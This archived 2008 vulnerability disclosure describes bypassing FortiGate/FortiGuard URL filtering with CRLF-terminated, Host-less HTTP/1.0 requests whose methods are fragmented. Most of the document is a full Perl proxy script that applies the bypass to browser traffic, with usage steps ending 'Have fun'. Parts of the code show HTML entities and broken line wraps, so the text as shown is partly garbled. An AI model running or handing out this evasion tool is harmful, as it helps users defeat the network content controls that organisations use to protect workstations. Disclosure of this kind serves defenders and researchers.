FortiGuard: URL Filtering Application Bypass Vulnerability

2008-01-04T00:00:00
ID SECURITYVULNS:DOC:18792
Type securityvulns
Reporter Securityvulns
Modified 2008-01-04T00:00:00

Description

I dont know if its new but i code it during a PentTest and i would like to share it with you. It is based on code developed By sinhack research labs: http://sinhack.net/URLFilteringEvasion/sakeru.tx

Description: "Fortinet's URL blocking functionality can be bypassed by specially-crafted HTTP requests that fulfill 3 factors:

1.- HTTP Requests are terminated by the CRLF characters. 2.- Forcing to talk via HTTP/1.0 version so that dont send the host header. 3.- Finally, by Fragmenting the GET or POST requests

Analysis:

Fortinet's past vulnerability (http://www.fortiguardcenter.com/advisory/FGA-2006-10.html) said:

Moreover, while it is possible "to bypass the functionality via an HTTP/1.0 request with no host header", the use of a host field is actually required to access a specific site on multi-homed web sites. When no host header is used, the intended web site is actually not displayed. Therefore, there is no risk.

Macula's Analysis: If you dont have properly installed some AV, HIPS, etc, through this vuln, a workstation can connect to a malicious "Hacking Site" and get infected. Also through this vuln, you can connect to different porn sites without problems. And no matter if its or not multi-homed web sites. So we consider its not a low risk.

Products affected: We only tested it on: fortiGate-1000 3.00, build 040075,070111

Solution: We tried to contact the vendor, but without any response.

PoC:

!/usr/bin/perl

fortiGuard.pl v0.1 - http://www.macula-group.com/

# URL Filtering Bypass proof of concept

Author: Daniel Regalado aka Danux... Hacker WannaBe!!! (only some

minnor modifications from sinhack code)

Based on PoC from sinhack research labs -> sakeru.pl

FortiGuard's URL blocking functionality can be bypassed by

specially-crafted HTTP requests that are terminated by the CRLF character

instead of the LF characters and changing version of HTTP to 1.0

without sending Host: Header and Fragmenting the GET and POST Requests

Tested On: fortiGate-1000 3.00, build 040075,070111

This code has been released Only for educational purposes. The author

cannot be held responsible for any bad use.

Usage:

1) perl fortiGuard.pl

2) Configure your browser's proxy at localhost:5050

3) Have fun.

--- Start Of Script---

use strict; use URI; use IO::Socket;

my $showOpenedSockets=1; #Activate the console logging my $debugging=0;

my $server = IO::Socket::INET->new ( #Proxy Configuration LocalPort => 5050, #Change the listening port here Type => SOCK_STREAM, Reuse => 1, Listen => 10);

binmode $server; print "Waiting for connections on port 5050 TCP...\n";

while (my $browser = $server->accept()) { #When a connection occure... binmode $browser; my $method=""; my $content_length = 0; my $content = 0; my $accu_content_length = 0; my $host; my $hostAddr; my $httpVer; my $line;

while (my $browser_line = <$browser>) { #Get the Browser commands unless ($method) { ($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+) +(\S+) +(\S+)/;

    my $uri = URI-&gt;new&#40;$hostAddr&#41;;

    $host = IO::Socket::INET-&gt;new &#40; #Opening the connexion to the

remote host PeerAddr=> $uri->host, PeerPort=> $uri->port ) or die "couldn't open $hostAddr";

    if &#40;$showOpenedSockets&#41; { #Connection logs
       #print &quot;Source:&quot;.$browser-&gt;peerhost.&quot;&#92;n&quot;;
       my &#40;$sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst&#41; =

localtime(time); $year += 1900; $mon += 1; printf ("\n%04d-%02d-%02d %02d:%02d:%02d ",$year,$mon,$mday,$hour,$min,$sec); print $browser->peerhost." -> ".$uri->host.":".$uri->port." $method ".$uri->path_query."\n";; }

    binmode $host;
    my $char;
    if &#40;$method == &quot;GET&quot;&#41; { #Fragmention the &quot;GET&quot; query
       foreach $char &#40;&#39;G&#39;,&#39;E&#39;,&#39;T&#39;,&#39; &#39;&#41; { #I know, there is better

way to do it, print $host $char; #but I'm tired and lazy... } } elsif ($method == "POST") { #Fragmentation of "POST" query foreach $char ('P','O','S','T',' ') { print $host $char; } } else { print $host "$method "; #For all the other methods, send them without modif print "*"; } $httpVer="HTTP/1.0"; #Forzando a version 1.0 print $host $uri->path_query . " $httpVer\r\n"; #Send the rest of the query (url and http version) #next; }

  $content_length = $1 if $browser_line=~/Content-length: +&#40;&#92;d+&#41;/i;
  $accu_content_length+=length $browser_line;

  foreach $line &#40;split&#40;&#39;&#92;n&#39;, $browser_line&#41;&#41; { #Fragment the Host query
    if &#40;$line =~ /^Host:/ &#41; {
              #my $char=&quot;&quot;;
               #my $word=&quot;&quot;;
               #my $bogus=&quot;&quot;;
               #&#40;$bogus,$word&#41; = split&#40;&#39; &#39;, $line&#41;;
               #foreach $char &#40;&#39;H&#39;,&#39;o&#39;,&#39;s&#39;,&#39;t&#39;,&#39;:&#39;,&#39; &#39;&#41; {
               #print $host $char;
               #}
               #print $host $word.&quot;&#92;r&#92;n&quot;;

    } else {
       print $host &quot;$line&#92;r&#92;n&quot;; #For all the other lines, send

them without modif }

    if &#40; $debugging == 1 &amp;&amp; $method == &quot;POST&quot; &#41; {
       print &quot;$line&#92;n&quot;;
    }
  }
  #Danux Clave para terminar el Request y enviarlo al servidor

web, de otra forma se queda esperando este ultimo la peticion print $host "\r\n";

  last if $browser_line =~ /^&#92;s*$/ and $method ne &#39;POST&#39;;
  if &#40;$browser_line =~ /^&#92;s*$/ and $method eq &quot;POST&quot;&#41; {
     $content = 1;
     last unless $content_length;
     next;
  }
  #print length $browser_line . &quot; - &quot;;
  if &#40;$content&#41; {
     $accu_content_length+=length $browser_line;
     last if $accu_content_length &gt;= $content_length;
  }

}

$content_length = 0; $content = 0; $accu_content_length = 0;

my $crcount=0; my $totalcounter=0; my $packetcount=0;

while ( my $host_line = <$host> ) { #Reception of the result from the server

  $totalcounter+=length $host_line;
  print $browser $host_line; #Send them back to the browser
  #print $host_line if &#40; ! $content &#41;; #Send them back to the browser
  if &#40;$host_line=~/Content-length: +&#40;&#92;d+&#41;/i&#41; {
   $content_length = $1;
   #print &quot; * Expecting $content_length&#92;n&quot;; #if &#40;$debugging&#41;;
  }
  if &#40;$host_line =~ m/^&#92;s*$/ and not $content&#41; {
       $content = 1;
       #print &quot; * Beginning of the data section&#92;n&quot;;
  }
  if &#40;$content&#41; {
   #$accu_content_length+=length $host_line;
   if &#40;$content_length&#41; {
      #print &quot; * binary data section&#92;n&quot;;
      my $buffer;
      my $buffersize = 512;
      if &#40;$content_length &lt; $buffersize&#41; { $buffersize = $content_length; }
      while &#40; my $nbread = read&#40;$host, $buffer, $buffersize&#41;&#41; {
          print &quot;#&quot;;
         $packetcount++;
          $accu_content_length+=$nbread;
          #last if $accu_content_length &gt;= $content_length;
          print $browser $buffer; #Send them back to the browser
          #print $buffer;
          #print &quot;&#92;n&#40;#$packetcount&#41; &quot;;
          #print &quot;total: $totalcounter content_length:

$content_length acc: $accu_content_length\t"; my $tmp1 = $content_length - $accu_content_length; #print "length-accu= $tmp1\n";

          if &#40;$tmp1 &lt; $buffersize&#41; {
           $buffersize = $tmp1;
           #print &quot;new buffersize = $buffersize&#92;n&quot;;
          }
       }
       #print &quot;Out of the content while&#92;n&quot;;
    }
  }

  #print &quot;&#40;#$packetcount&#41; &quot;;
  #print &quot;total: $totalcounter content_length: $content_length

acc: $accu_content_length\t"; #my $tmp1 = $content_length - $accu_content_length; #print "length-accu= $tmp1\n"; last if ($accu_content_length >= $content_length and $content == 1 and $content_length); } #print "\nOut for a while\n";

if ($browser) { $browser -> close; } #Closing connection to the browser if ($host) { $host -> close; } #Closion connection to the server

}

--- EOF ---

-- Danux, CISSP, OSCP Offensive Security Consultant Macula Security Consulting Group www.macula-group.com